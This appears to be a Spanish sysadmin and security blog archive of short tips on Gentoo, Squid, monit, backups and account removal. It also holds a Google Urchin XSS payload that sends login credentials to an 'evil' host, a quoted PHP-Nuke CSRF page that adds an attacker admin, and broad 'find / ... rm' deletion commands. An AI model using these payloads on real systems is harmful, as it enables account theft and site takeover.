Usemos el comando instmodshSalida: Available commands are: l - List all installed modules m - Select a module q - Quit the program cmd?cmd? es el prompt. instmodsh no deja de ser un script en Perl. Para ver su contenido basta con ejecutar con vi o tu editor favorito: vi $(which instmodsh)
Intercambiar el valor de 2 variables sin usar una variable temporal (II)
En Perl podemos hacerlo asi: ($a, $b) = ($b, $a);
Algunos hacks que tengo en mi Gentoo para ahorrar tecleos y demas
*Odio escribir continuamente /etc/init.d/... asi que en mi directorio /root/.bashrc tengo el siguiente alias: for service in `cd /etc/init.d/; ls` do alias "rc${service}"="/etc/init.d/${service}" done. *Odio escribir siempre nano -w archivo.txt y quiero tener un TAB de tamaño 4asi que en /etc/nanorc tengo: set nowrap set tabsize 4*Para usar emerge: alias akmerge="ACCEPT_KEYWORDS='~x86' /usr/bin/sudo /usr/bin/emerge -pv"*¿Cuantas veces has creado un directorio y el siguiente comando ha sido para entrar en el? Para hacer las 2 cosas en 1 comando: md () { mkdir -p $1 && cd $1 }*Capturar pantalla en fluxbox con la tecla Impr Pant: Editar ~/.fluxbox/keysNone F15 :execCommand import -w root ~/`date +%Y%m%d%H%M`.pngY tendras un archivo PNG en formato YYYYMMDDHHmm.PNG*Un hack poco conocido (opcion indocumentada en la pagina de manual). Si quieres copiar archivos con el progreso de copia: cp -g*Mis passwords estan en un archivo de texto cifrado con gpg. Para verlos uso el plugin gnupg de vim, que esta disponible en la pagina de vim. *¿Estas harto del beep de tu maquina cuando usas el TAB-completion? xset b off
Lentitud de Terminal Server en Windows Vista
En determinados casos el Terminal Server de Vista funciona lentisimo. El problema viene de que el cliente de TS nuevo utiliza una nueva caracteristica de Vista llamada "auto-ajuste de la ventana de recepción TCP/IP", y esto en determinados casos puede tener consecuencias nefastas, por ejemplo, en Terminal Services. Si tienes este problema, puedes solucionarlo escribiendo esto en la linea de comandos del cliente, con derechos de administrador: netsh interface tcp set global autotuninglevel=disabled
Autocompletado en MSDOS con cmd
¿Quien no echa de menos el autocompletado en linea de comandos de Linux cuando tiene que realizar tareas administrativas desde una linea de comandos CMD? Pues nada mas facil para conseguir autocompletado en CMD que guardar estas lineas en un archivo llamado por ejemplo autocompletado.regREGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Command Processor\CompletionChar] @=9Y con solo hacer doble click en el archivo ya tenemos autocompletado con TAB en CMD. ¡Muy comodo!
Monitorizacion de sistemas UNIX con monit
monit es un potente software de monitorizacion de sistemas UNIX. La pagina oficial del proyecto es http://www.tildeslash.com/monit/Esta en el Portage de Gentoo. Como ejemplo voy a mostrar el archivo de configuracion /etc/monitrc que tengo en uno de mis sistemas en el trabajo, con alertas por mail, monitorizacion en mi caso de Squid, etc. #Start monit in background (run as daemon) and check the services at 2-minute intervals. set daemon 120
#Set syslog logging with the 'daemon' facility set logfile syslog facility log_daemon
#Set list of mailservers for alert delivery set mailserver nuestro.servidor.sendmail
set eventqueue #si el servidor de correo esta caido... basedir /var/monit #...los eventos se guardan aqui... slots 1000 #...con este tamaño de cola
#configuramos el remitente set mail-format { from: operador@nuestro.cliente.es }
#configuramos el/los destinatario/s set alert sistemas@nosotros.com with reminder on 10 cycles
#Monitorizamos el Squid #si se cae, que se inicie check process squid with pidfile /var/run/squid.pid start program = "/etc/rc.d/init.d/squid start" stop program = "/etc/rc.d/init.d/squid stop" #si cpu>60% por 2 ciclos, que avise if cpu > 60% for 2 cycles then alert #si cpu>80% por 5 ciclos, que reinicie if cpu > 80% for 5 cycles then restart #si totalmen>32.0 MB por 5 ciclos, que reinicie if totalmem > 32.0 MB for 5 cycles then restart
#Si el espacio en disco usado por Squid supera el 90%, que avise check device raiz_y_cache_squid with path /dev/md0 if space usage > 90% then alertCon este ejemplo creo que se ven mas o menos las enormes posibilidades de monit. Un punto a aclarar es que si queremos hacer modificaciones de daemons monitorizados con monit, primero tenemos que bajar temporalmente el monit con service rc.monit stop(en el trabajo en esa maquina corre un Redhat) luego hacer las modificaciones en los daemons monitorizados que queramos modificar y por ultimo volver a levantar el monitservice rc.monit startEsto es asi porque si monit detecta que bajamos un daemon, automaticamente lo levantara, y nosotros no queremos eso. Por ultimo decir que yo en mi trabajo, tengo una tarea cron que ejecuta un script que detecta si monit no esta en ejecucion, y si no lo esta, lo levanta. Si el cron se cae, entonces estoy apañado, pero cuantas mas capas proactivas ponga para solucionar problemas, mejor. En una entrada anterior hable de ello. Podeis ver ese script usando el buscador de la parte superior de la pagina buscando la sigujiente cadena: "Script que inicia un daemon si comprueba que no esta en ejecucion".
RunAS de Windows en Gnome
Esto no lo he probado porque no uso Gnome, pero leo en http://www.pendrivelinux.com una forma de lograr el equivalente al RunAS de Windows en un sistema Debian-like con Gnome: En un terminal escribir: gedit gnome2/nautilus-scripts/Abrir\ como\ rootAñadir lo siguiente y guardar el archivo: for uri in $NAUTILUS_SCRIPT_SELECTED_URIS; do gksudo "gnome-open $uri" & doneDarle permisos de ejecucion: chmod +x .gnome2/nautilus-scripts/Abrir\ como\ rootA partir de entonces, igual que en Windows, podremos abrir un archivo como root con boton derecho / Scripts / Abrir como root
Backup de una BD MySQL
Una forma elegante de hacerlo es con la utilidad lftp. En Gentoo: emerge lftpEn Debian-like: apt-get install lftpY aqui un shell script que he sacado de nixCraft: #!/bin/bash ### MySQL Server Login Info ### MUSER="root" MPASS="MYSQL-ROOT-PASSWORD" MHOST="localhost" MYSQL="$(which mysql)" MYSQLDUMP="$(which mysqldump)" BAK="/backup/mysql" GZIP="$(which gzip)" ### FTP SERVER Login info ### FTPU="FTP-SERVER-USER-NAME" FTPP="FTP-SERVER-PASSWORD" FTPS="FTP-SERVER-IP-ADDRESS" NOW=$(date +"%d-%m-%Y")
[ ! -d $BAK ] && mkdir -p $BAK || /bin/rm -f $BAK/*
DBS="$($MYSQL -u $MUSER -h $MHOST -p$MPASS -Bse 'show databases')" for db in $DBS do FILE=$BAK/$db.$NOW-$(date +"%T").gz $MYSQLDUMP -u $MUSER -h $MHOST -p$MPASS $db | $GZIP -9 > $FILE done
lftp -u $FTPU,$FTPP -e "mkdir /mysql/$NOW;cd /mysql/$NOW; mput /backup/mysql/*; quit" $FTPSYo como soy vlan7 tengo grabado el script en /home/vlan7/mysql.backup.shY le di permisos de ejecucion: chmod +x /home/vlan7/mysql.backup.shPodemos añadir una tarea cron que se ejecute por ejemplo cada dia por la noche: crontab -e @midnight /home/vlan7/mysql.backup.sh >/dev/null 2>&1
Detectando el uso de TOR en nuestra red
TOR usa SSL. SSL usa certificados firmados. TOR firma los certificados distribuidos a los clientes TOR Jugando con Ethereal podemos llegar a la conclusion de que este filtro: x509sat.DirectoryString == "TOR"funciona bien detectando la negociacion SSL de TOR A partir de esto podemos crear una firma de Snort tal que asi: alert tcp $HOME_NET any -> any any (msg:"TOR_detected"; content:"|06 03 55 04 0a 13 03 54 4f 52|"; sid:9996; priority:3;)
Javascript para detectar el uso de Privoxy
<script> var em = document.getElementById("privoxy"); var color = document.defaultView.getComputedStyle(em,null).getPropertyValue("color"); if (color == "rgb(255, 0, 0)") { alert("Estas usando Privoxy"); } else { alert("No estas usando Privoxy"); } </script>
Navegacion segura con Squid y SSH
En UNIX: ssh -L 3128:127.0.0.1:3128 SSH_Server -f -NEn Windows: Bajamos Plink, que es una version en linea de comandos del cliente SSH Putty. plink.exe -batch -N -l UserName -pw Password -L 3128:127.0.0.1:3128 SSH_ServerY ya solo nos queda configurar nuestro navegador para que use el tunel SSH como proxy en la direccion IP 127.0.0.1 y puerto 3128
Squid: Bloquear determinadas extensiones
Si no queremos que los usuarios se bajen por ejemplo archivos con extension mp3, avi, mpg y mpeg, crearemos un archivo con estas extensiones, que residira por ejemplo en /etc/squid/blocks.files.acl y que contendra lo siguiente: \.[Mm][Pp]3$ \.[Aa][Vv][Ii]$ \.[Mm][Pp][Gg]$ \.[Mm][Pp][Ee][Gg]$Luego crearemos un archivo HTML que contendra el error que le mostraremos al usuario cuando intente bajarse alguna de estas extensiones, por ejemplo en /etc/squid/error/err_blocked_files<HTML> <HEAD> <TITLE>ERROR: Archivo bloqueado</TITLE> </HEAD> <BODY> <H1>El archivo ha sido bloqueado debido a la nueva politica de seguridad</H1> <p>Si cree que necesita este archivo contacte con el administrador:</p> Telf: 777777 (ext 7)<br> Email: vlan7@midominio.comEs importante no cerrar el codigo HTML con las etiquetas de cierre </BODY> y </HTML>, pues Squid ya se encarga de cerrarlas. Ahora nos queda el paso final, y es editar el archivo de configuracion de Squid en /etc/squid/squid.conf#Denegar extensiones bloqueadas deny_info err_blocked_files blockfiles http_access deny blockfiles #ultima linea http_access allow all
Squid: Bloquear un puerto
Supongamos que quieres bloquear el puerto del MSN messenger. Edita el archivo de configuracion de Squid /etc/squid/squid.confacl block_port port 1863 http_access deny block_port #ultima linea http_access allow allSi por ejemplo no quieres que se aplique esta restriccion a ti como administrador de sistemas que eres, suponiendo que tu IP sea 192.168.1.7acl block_port port 1863 acl no_block_port_ip src 192.168.1.7 http_access deny block_port !no_block_port_ip http_access allow allUna vez cambiada la configuracion reiniciaremos Squid como sigue: /etc/init.d/squid restart
Squid: Bloquear URLs
Si por ejemplo quieres bloquear todas las URLs del dominio blogspot.com, editar el archivo /etc/squid/squid.conf y añadir en Access Controls la siguiente ACL: acl blocksites dstdomain .blogspot.com http_access deny blocksites #ultima linea http_access allow allSi lo que quieres es bloquear todas las URLs que contengan la palabra sex: acl blockregexurl url_regex -i sex http_access deny blockregexurl #ultima linea http_access allow allDespues reinicia squid: /etc/init.d/squid restart
Eleccion de nodos de entrada y salida en TOR (II)
No funciona tecla ALT GR en Virtual PC 2007
A mi no me funciona la tecla ALT GR en Virtual PC 2007. Lo soluciono pulsando simultaneamente las teclas CTRL y ALT. <EDIT 16-11-2009> Ver una solucion mas elegante propuesta por Autsa en los comentarios :) </EDIT>
Bug en Debian con la hora del equipo
Existe un bug en Debian que hace que determinados equipos no funcionen correctamente con la interrupcion /dev/rtc, lo que deriva en desajustes en la hora del sistema. Si tienes problema, puedes verificarlo con el siguiente script: #!/bin/sh # detect signs of lacking /dev/rtc interrupt function interrupt_failure () { LC_ALL=C /sbin/hwclock --show --debug 2>&1 | \ grep -q "does not have interrupt functions\|to wait for clock tick timed out" } if interrupt_failure; then echo "--directisa is recommended or required" else echo "/dev/rtc interrupt works OK" fiPara solucionarlo, cambiar en /etc/init.d/hwclock.shHWCLOCKPARS="--directisa"
Envio de mail con Perl a traves de Sendmail
#!/usr/bin/perl -w
use strict;
open (MAIL,"|/usr/lib/sendmail -t"); print MAIL "To: to\@e.mail\n"; print MAIL "From: from\@e.mail\n"; print MAIL "Subject: Asunto del mensaje\n\n"; print MAIL "Cuerpo del mensaje\n"; close(MAIL);
exit(1);
Bug en Excel 2007
Excel 2007 no sabe multiplicar:  El resultado correcto de todas las multiplicaciones deberia ser 65.535Sin comentarios...
Evitar una facil identificacion de la version phpbb de nuestro foro
Como todos sabemos, phpbb ya no incluye el numero de version, pero para evitar que los kiddies puedan identificar facilmente nuestra version de phpbb, tenemos que borrar el archivo CHANGELOG.html que se encuentra dentro del directorio docs de nuestro foro.
Cuentas shell gratis
HP ofrece cuentas shell gratuitas en http://www.testdrive.hp.com/. Ofrecen los siguientes S.O.: HP OpenVMS 8.3 HP-UX 11i 11.11 HP-UX 11i v2 HP-UX 11i v3 Debian GNU/Linux 4.0r0 Mandriva Corporate Server 4.0 Oracle Enterprise Linux 4 Red Hat Ent Linux 5 SuSE Linux Ent Svr 10 FreeBSD 6.2
Google Urchin password theft madness
Existe una vulnerabilidad XSS que es trivialmente explotable en la pagina de login de Google Urchin Web Analytics 5’s. La vulnerabilidad ha sido testeada en las versiones 5.6.00r2, v5.7.01, 5.7.02 y 5.7.03 (ultima). Las versiones anteriores supongo que tambien estaran afectadas. Por si no lo sabes, Google Urchin es la version instalable de Google Analytics. Adrian Pastor aviso a Google el 25-7-2007 y Google le confirmo que su equipo de seguridad estaba trabajando para resolver el problema. Su intencion original era publicar la vulnerabilidad una vez Google la hubiera arreglado. Sin embargo, hace cosa de un mes, otros hackers descubrieron la vulnerabilidad. Este es el PoC aburrido: http://target/session.cgi?"><script>alert('XSS')</script><!--Supongo que estais aburridos de PoCs que solo hacen que salten ventanitas emergentes. Pues bien, aqui teneis un PoC que roba el user/pass de la victima con solo hacer click. El unico requisito es que la victima use el autocomplete passwords, es decir, la varita de mi navegador favorito, el Opera, que recuerda contraseñas. Ahi va: http://target/session.cgi?"></form><script>setTimeout("location%3d'http://evil/?usr%3d'%2bdocument.forms[0].user.value%2b'%26pwd%3d'%2bdocument.forms[0].pass.value;",1500);</script><!--O mas transparente y elegante aun. Podemos crear una imagen con JavaScript para que las credenciales se capturen en segundo plano: http://target/session.cgi?"></form><script>h%3dnew%20Image();setTimeout("h.src%3d'http://evil/?usr%3d'%2bdocument.forms[0].user.value%2b'%26pwd%3d'%2bdocument.forms[0].pass.value;",1500);</script><!–-
Desfragmentacion en Linux
defrag es un proyecto abandonado. Un hacker frances programo hace poco mas de 1 año shake. Al parecer es bastante mas potente. Podemos hacer cosas como por ejemplo: find /home/vlan7/mp3 -iname '*.mp3' |sort |shake para desfragmentar todos los mp3 dentro del directorio /home/vlan7/mp3 poniendolos todos juntos por orden alfabetico. Pagina principal del proyecto: http://vleu.net/shake/Esta en el Portage de Gentoo. Hilo en los foros de Gentoo donde el autor presento el proyecto: http://forums.gentoo.org/viewtopic-t-463204.html?sid=fce6f8449cdcf39588d55fa7d4b6d689Para sistemas de archivos XFS existe un programa llamado xfs_fsr
WPIDS - PHPIDS your Wordpress the comfy way
Plugin para cifrar archivo configuracion Wordpress
Leo esto en un comentario de un blog: I wrote a personal plugin encryptconf wich encrypts the wordpress configuration file. Might want to give it a look: http://www.rezen.org/encryptconf.zip
Comment by ReZEN — September 21, 2007 #
PHP-Nuke add admin ALL Versions
Citando a h3llcode: Paste this code into an HTML page then link it to victim (victim must be admin)
<iframe name="aiuto" frameborder="0" height="0" width="0"></iframe> <FORM name="Faiuto" ACTION="http://VICTIMURL/nuke/admin.php" target="aiuto" METHOD=POST> <input type=hidden NAME="add_name" value="ATTACKER"> <input type=hidden NAME="add_aid" value="ATTACKER"> <input type=hidden NAME="add_email" value="YOURMAIL@YOURDOMAIN.IT"> <input type=hidden NAME="add_url" value="YOURSITE"> <input type=hidden NAME="add_admlanguage" value="italian"> <input type=hidden NAME="add_radminsuper" value="1"> <input type=hidden NAME="add_pwd" value="YOURPASSWORD"> <input type=hidden NAME="op" value="AddAuthor"> <input type="image" height="0" width="0"> </FORM><SCRIPT>document.Faiuto.submit()</SCRIPT>
You are admin now ;)
Then you can log in into phpnuke with user HACKER and pass YOURPASSWORD...El codigo tiene un error que salta a la vista, no se si es intencional anti-script-kiddies, pero yo lo dejo asi... quien sepa un poco ya sabra corregirlo. Dice Blaine de bugtraq: Nuke 8 produces this page output, hence not vulnerable.
Posting from another server not allowed!
~ Blaine
Asegurando un servidor DHCP que corre en nuestro Controlador de Dominio
Basandome en http://support.microsoft.com/kb/255134/ leo que por motivos de seguridad no es conveniente tener el servicio DHCP corriendo en el DC. Pero que si lo tenemos, que modifiquemos la configuración del servidor DHCP para que use credenciales alternativas a la del administrador de dominio cuando haga actualizaciones dinamicas de DNS. Por defecto, el servidor DHCP corre bajo las credenciales de la cuenta administrador del servidor que lo aloja. Si en nuestro caso el servidor es el DC, corre con la cuenta del dominio. Un DC tiene permisos totales sobre cualquier zona integrada en Active Directory que replica. El resultado de tener DHCP corriendo en un DC es que si el servidor DHCP ha sido configurado para registrar dinamicamente los registros DNS en los nombres de los clientes, puede potencialmente actualizar cualquier registro almacenado en una zona integrada en AD. Esto deja a las zonas vulnerables a ataques hijacking, por lo que un cliente puede sobrescribir registros que no deberian ser sobrescritos. Esto puede causar todo tipo de estragos si un atacante reemplaza registros importantes en nuestras zonas. Microsoft recomienda, como he dicho al principio, no correr DHCP en DCs. Pero a partir de Windows 2000 Server SP1, podemos defendernos de los problemas de seguridad causados por correr un DHCP en un DC, usando credenciales alternativas para cuando se realicen actualizaciones dinamicas. La cuenta no necesita privilegios especiales para ello. En el articulo de la URL que he dicho al principio, Microsoft explica como hacerlo por linea de comandos con netsh, pero yo aprendi a hacerlo con la herramienta administrativa del DHCP ( dhcpmgmt.msc). Boton derecho en el servidor DHCP, Propiedades, pestaña Opciones Avanzadas, boton Credenciales, y ahi introducimos el usuario sin privilegios, dominio y password. Y luego todo OK hasta cerrar todas las ventanas. Por linea de comandos con netsh, seria asi: Eliminamos las credenciales DNS usadas por el servidor DHCP: netsh dhcp server delete dnscredentials dhcpfullforceConfiguramos nuevas credenciales DNS en el servidor DHCP: netsh dhcp server set dnscredentials <Usuario> <Dominio> <Password>Por ultimo, decir que podemos ver las credenciales DNS actualmente usadas por el servidor DHCP: netsh dhcp server show dnscredentials
UNIX: Eliminar por completo un usuario de forma metodica
Han despedido a vlan7 de la empresa. Para eliminar al usuario vlan7 por completo del sistema: 1. Deshabilitar su password:passwd -l vlan72. Encontrar todos sus archivos:find / -user vlan7Si estuvieramos seguros de que no van a readmitir a vlan7 en la empresa, podemos eliminar todos sus archivos de golpe asi: find / -user vlan7 -exec rm {} \;3. Cambiar su shell por defecto:En /etc/passwd cambiar... vlan7:x:1001:1001:vlan7:/home/vlan7:/bin/bashpor... vlan7:x:1001:1001:vlan7:/home/vlan7:/bin/falseAdemas, por si vlan7 intenta entrar en el sistema, le mostraremos una advertencia. Crearemos un archivo de texto en /etc/nologin.txt: echo vlan7, usted ha sido despedido de la empresa, le rogamos no intente acceder a nuestros sistemas >/etc/nologin.txt4. Impedirle el acceso por SSH o rlogin:Si usas SSH en tu sistema y permites autenticacion remota por claves RSA o DSA, vlan7 podria tener acceso al sistema aunque su password este deshabilitado, pues SSH no mira en /etc/shadow, sino que mantiene sus propias claves. Por ejemplo, vlan7 podria conectarse a nuestro sistema con un comando como: vlan7:~$ ssh -f -N -L8000:intranet.nuestrosistema.com:80 mi.dominio.comCon esto vlan7 redirigiria el trafico al puerto 80 (donde tenemos nuestro servidor web escuchando) de nuestro servidor interno. Eliminemos pues las claves autorizadas de vlan7: rm -fr /home/vlan7/.ssh/* rm -fr /home/vlan7/.ssh2/*Y tambien sus archivos .shosts y .rhosts: rm -fr /home/vlan7/.shosts rm -fr /home/vlan7/.rhosts5. Matar los procesos de vlan7:ps -aux |grep -i ^vlan7Si nos devuelve algun proceso, por ejemplo... vlan7 7777 0.0 0.1 777 77 ? xxx 07:07 0:00 /usr/sbin/algunproceso...lo matamos: kill -9 77776. Eliminar las tareas cron de vlan7:crontab -u vlan7 -lSi nos devuelve alguna tarea cron, por ejemplo... 77 7 * * * /usr/bin/algunproceso...la deshabilitamos editandola... crontab -u vlan7 -e...y la comentamos: #77 7 * * * /usr/bin/algunprocesoEn lugar de deshabilitar las tareas de vlan7, tambien podemos eliminarlas asi: crontab -u vlan7 -r7. Mantener el directorio personal de vlan7:Por si vlan7 es readmitido en nuestra empresa. mv /home/vlan7 /home/vlan7.locked8. Eliminar a vlan7 de sudoers:Si usamos sudo deberiamos eliminar a vlan7 de /etc/sudoers, o al menos deshabilitarlo. visudo9. Eliminar a vlan7 de otras aplicaciones con autenticacion:Por ejemplo: 9a. Directorios web Apache protegidos por .htaccess / .htpasswd:Suponiendo que el archivo .htpasswd esta en /var/www/.htpasswd: htpasswd -D /var/www/.htpasswd vlan79b. MySQL:Si vlan7 tiene un login en nuestra base de datos MySQL, lo eliminaremos asi: mysql -u root -p REVOKE ALL PRIVILEGES, GRANT OPTION FROM vlan7; quit;9c. Oracle:Para eliminar el usuario vlan7 de la base de datos Oracle: DROP USER vlan7Si ademas queremos eliminar todos los objetos que posea vlan7 tendremos que añadir la clausula CASCADE: DROP USER vlan7 CASCADE9d. Samba:Para deshabilitar la cuenta a vlan7: smbpasswd -d vlan7Si estamos seguros de que vlan7 no sera readmitido en la empresa, podemos borrarlo: smbpasswd -x vlan79e. Postfix:Si Postfix usa para la autenticacion sasldb2 en lugar de /etc/shadow, tenemos que eliminar de ahi a vlan7, de lo contrario podra mandar mails usando nuestro servidor de correo Postfix: saslpasswd2 -d vlan7Si aun usamos SASL version 1 en lugar de la version 2, el archivo no es /etc/sasldb2, sino /etc/sasldb, y el comando es: saslpasswd -d vlan79f. Sendmail:: Por las mismas razones explicadas en la seccion de Postfix, borraremos a vlan7 de la base de datos /etc/pop.auth con el comando siguiente: popauth -delete vlan7*** Si a alguno de mis lectores se le ocurre algun otro paso, o algun otro demonio, estoy deseando que me deje un comentario para mejorar este post añadiendo tus mejoras con creditos hacia ti.
Solaris: Impedir que los usuarios cambien el propietario de sus archivos
Para impedir que los usuarios del sistema puedan cambiar el propietario de sus archivos mediante el comando chown, editar /etc/system e incluir la linea: set rstchown=0Con la variable a 0 lo impediremos. Con la variable a 1 lo permitiriamos. Es necesario reiniciar la maquina.
UNIX: Encontrar y eliminar todos los archivos core
find / -name core -exec rm {} \;<EDIT 12-2-2008> Tal y como apunto Luisgﮓﻊﮓ en un comentario, podemos encontrar archivos con el nombre core, muy mal por mi parte no haber pensado en ello. El recomienda acotar la busqueda al directorio home del usuario. Yo lo que haria es primero buscar los archivos core en la raiz con find / -name core -exec rm {} \;Y luego ir eliminandolos de los directorios donde estemos seguros que solo haya archivos core. Por ejemplo: find /home/vlan7 -name core -exec rm {} \;</EDIT 12-2-2008>
Añadir un buscador en blogspot
En un post anterior describi como añadir un boton de busqueda que usara el motor de google. Eso es independiente de donde tengas alojada tu pagina. Pero en el caso particular de blogspot, existe una manera mas elegante y practica de hacerlo. Edita tu plantilla y añade el codigo HTML siguiente: 1. <form id="searchthis" action="/search" style="display:inline;" method="get"> 2. <input id="search-box" name="q" type="text"/> 3. <input id="search-btn" value="Buscar" type="submit"/> 4. </form>He numerado las lineas porque alguna es larga. Y se mostrara tu blog con los posts en los que aparezca la palabra a buscar. Mucho mas elegante, pues es 100% HTML, nada de Javascript, y ademas se te muestran los posts limpiamente, de forma directa, sin tener que pasar por Google. Yo he dejado ambos botones de busqueda en mi blog.
TOR + Blossom: Elegir pais por el que quieres salir
Blossom es una extension a TOR escrito en python que permite elegir el pais por el que queremos salir por el circuito TOR. Citando parte de su filosofia de la pagina principal del proyecto: The Blossom software uses Tor for constructing circuits and transporting data. Blossom uses an alternate network discovery algorithm and its own directory servers. Unlike Tor directory servers, Blossom directory servers perform routing, using a policy-enhanced path-vector protocol. Both Blossom networks and Tor networks consist of interconnected proxies, but where Tor chooses to optimize for anonymity, Blossom chooses to optimize for reachability instead. So, Blossom affords users the ability to specify the perspective from which they want to view the Internet by sacrificing many of the stronger anonymity benefits of Tor. For example, unlike the Tor network, the Blossom network allows overlay topologies that are not fully-connected.Pagina principal del proyecto Blossom: http://afs.eecs.harvard.edu/~goodell/blossom/No voy a explicar como poner a correr Blossom, los desarrolladores lo explican perfectamente en http://afs.eecs.harvard.edu/~goodell/blossom/running.html
Curiosa manera de saber tu IP publica
Si quieres saber cual es tu IP publica, esta chica se encarga de decirtelo: http://www.moanmyip.com/P.D. Conecta los altavoces :)
UNIX/Linux: Copiar el MBR
Para copiar el MBR de por ejemplo hda a hdb, nada mas sencillo que usar dd: dd if=/dev/hda of=/dev/hdb bs=512 count=1. ¿Por que 512 bytes? Porque es lo que ocupa el MBR.
OpenBSD: Reset root password
En el prompt boot> escribir: boot -spara entrar en modo monousuario. Se nos mostrara el mensaje siguiente: Enter pathname of shell or RETURN for sh:Simplemente pulsamos INTRO para cargar sh. Una vez cargada la shell, montamos los sistemas de archivos / y /usr en modo lectura/escritura: # mount -uw / # mount /usrPor ultimo cambiamos el password de root: # passwdYa solo nos queda pulsar CTRL+D (o el comando exit) para arrancar en modo multiusuario. O simplemente reiniciar la maquina con: # reboot
Identificar que version de SQL Server estamos usando
Usar una de estas querys: Para SQL Server 2000/2005: SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY ('productlevel'), SERVERPROPERTY ('edition')Para SQL Server 6.5/7.0: SELECT @@VERSIONNos devolvera el Service Pack y el build.
¿Eres de Turquia y no puedes leer Wordpress?
La justicia turca bloqueo con su proxy censurador todo el dominio de Wordpress asi como sus blogs, todo porque en uno de ellos se hablaba de la teoria del creacionismo. Pues bien, como la informacion debe ser libre, los hackers de The Great Firewall of Turkey han conseguido hacer un efecto espejo con absolutamente todos los blogs y contenido de Wordpress a wordprexy.com, estando todo ahora mismo accesible al publico turco. Gracias a un web-proxy, han conseguido llevarlo a cabo.
Windows Vista Serial Key Disclosure
Este es el post que mi compañero Kyrie de Wadalbertia envio a bugtraq informando del data-disclosure descubierto por el: :::
Vendedor: Microsoft (http://www.microsoft.com)
Software: Microsoft Windows Vista (Installation DVD).
Plataforma: x86/x86_64
Sitio web: http://www.microsoft.com/vista
Tipo de vulnerabilidad: it’s not really a vulnerability, es data disclosure.
Vulnerabilidad: primero, un poco de historia. Descubri este “bug” dos semanas después del lanzamiento de Vista,pero estuve medio con pereza, hasta hoy.
No es una vulnerabilidad en sí, pero creo yo que es bastante crítica.
Debido a un problema en la instalación de Vista, tuve que buscar un archivo que no se podía leer en el DVD (fallo CRC32) durante la instalación del SSOO. Despues de debuggear un poco con STraceNT e investigar el archivo en sí, encontré algo extraño en [DVD]:\sources\inf\setup.cfg, linea 102 and 103.
Esas lineas dicen:
[DefaultImageSelection] Value=XXXXX-XXXXX-XXXXX-XXXXX-XXXXX
[Editado por razones obvias, jejeje, igual está en ese archivo.]
"OMG! Un serial key de Windows!" me dije. Luego de encontrar eso, chequeé el serial con un checker de serial keys de distribucion privada que tengo, y me devuelve el dato que ese serrial es valido, y corresponde la edicion Enterprise de Microsoft Windows Vista.
Probé esa clave y anduvo perfecto.
Mis primeras conclusiones sobre el serial key son que es parte de una subrutina para validar cieto tipo de input "no interactive" del instalador, usando la libreria pidgenx.dll.
:::::::::::::::::::::::::::::::::::::::::::::::
Output del checker:
Serial: XXXXX-XXXXX-XXXXX-XXXXX-XXXXX
PID: 55041-236-0200005-71337
Edition: Business
Subtype: X12-89084
Crypt ID: 142
:::::::::::::::::::::::::::::::::::::::::::::::
Solucion: aparentemente, no instalar Vista. xD
Le avise a Microsoft de esto, pero hasta ahora no recibí respuesta desde la compañía.
Vulnerabilidad descubierta por: Manu (manuuu@darkprOtocOls.net)
Orgullosamente desde Argentina.
Creditos: a SparK, por hacerme acordar de publicar esto.
:::
Esa maravillosa anarquia que funciona llamada Internet...
...si tuviera un decalogo podria ser este: 1. El mundo esta lleno de problemas fascinantes que esperan ser resueltos. 2. Nadie deberia tener que resolver un problema dos veces. 3. Lo aburrido y rutinario es malo. 4. La libertad es buena. 5. El acceso a los ordenadores y a todo lo que pueda enseñar alguna cosa sobre como funciona el mundo debe ser ilimitado y total. 6. Toda la informacion deberia ser libre. 7. No creas a la autoridad. Promueve la descentralizacion. 8. Los hackers deberian ser juzgados por su hacking, sin importar sus titulos, edad, raza o clase social. 9. Puedes crear arte y belleza con un ordenador. 10. Los ordenadores pueden cambiar tu vida a mejor.
Añadir citas aleatorias al principio de nuestro blog o web
Tomando como ejemplo a blogspot, para añadir citas aleatorias podriamos hacerlo en Javascript de una forma sencilla. Por ejemplo, editando la plantilla yo tengo justo debajo de la etiqueta <body> el siguiente codigo Javascript: <script language='Javascript'> var inputs=new Array(); inputs[0] = "'Yo he hecho eso', dice mi memoria. Yo no puedo haber hecho eso - dice mi orgullo y permanece inflexible. Al final - la memoria cede<br>Nietzsche"; inputs[1] = "Más de un pavo real oculta su cola a los ojos de todos - y a esto lo llama su orgullo<br>Nietzsche"; inputs[2] = "Con nuestros principios queremos tiranizar o justificar u honrar o injuriar u ocultar nuestros hábitos: - dos hombres con principios idénticos probablemente quieren, por esto, algo radicalmente distinto<br>Nietzsche"; inputs[3] = "<i>Corazón sujeto, espíritu libre.</i> - Cuando sujetamos con dureza nuestro corazón y lo encarcelamos, podemos dar muchas libertades a nuestro espíritu: ya lo he dicho una vez. Pero no se me cree, suponiendo que no se lo sepa ya...<br>Nietzsche"; inputs[4] = "De las personas muy inteligentes comenzamos a desconfiar cuando se quedan perplejas<br>Nietzsche"; inputs[5] = "¿Quién, por salvar su buena reputación, no se ha sacrificado ya alguna vez a sí mismo? -<br>Nietzsche"; inputs[6] = "¿Cómo? ¿Un gran hombre? Yo veo siempre tan sólo al comediante de su propio ideal<br>Nietzsche"; inputs[7] = "Habla el desilusionado. - 'Esperaba oír un eco, y no oí más que alabanzas -'<br>Nietzsche"; var index = Math.floor(Math.random() * inputs.length); document.write(inputs[index]); </script>Tengo mas que 7, pero para no alargarme muestro las primeras 7 citas, mi numero favorito es el 7, de ahi mi nick vlan7, soy la vlan numero 7 :) Por cierto, para que se puedan visualizar vuestras citas, tendreis que quitar la barra superior de publicidad de blogger. En el post anterior explique el hack para conseguirlo.
Quitar la barra superior de publicidad de blogspot
Editar la plantilla, y justo debajo de <style type="text/css">añadir lo siguiente: #navbar-iframe { height:0px; visibility:hidden; display:none }
Programa en C que calcula la letra del DNI a partir del numero
/* Programa que calcula la letra del DNI (español) a partir del número */ /* Autor: Fernando Jimenez Larrea */
#include main() { int a, b=0, l; char cifra; char letras[]="TRWAGMYFPDXBNJZSQVHLCKE\0"; printf("Introduzca num DNI(8 car) "); for (a=0; a<8; a++) { cifra=getchar(); b=b * 10 + (cifra - '0'); } l=b - (b / 23 * 23); printf("\n NIF %d - %c\n\n",b,letras[l]); }
Cifrar particiones de vuestro HD
El mejor software que he encontrado para ello es Truecrypt. Es open-source y existen versiones tanto para windows como para Linux. ¿Para cuando una version para UNIX Solaris bajo Sparc? La URL principal del proyecto es: http://www.truecrypt.org/Paso a citar su propia presentacion: Free open-source disk encryption software for Windows Vista/XP/2000 and Linux
Main Features:
* Creates a virtual encrypted disk within a file and mounts it as a real disk.
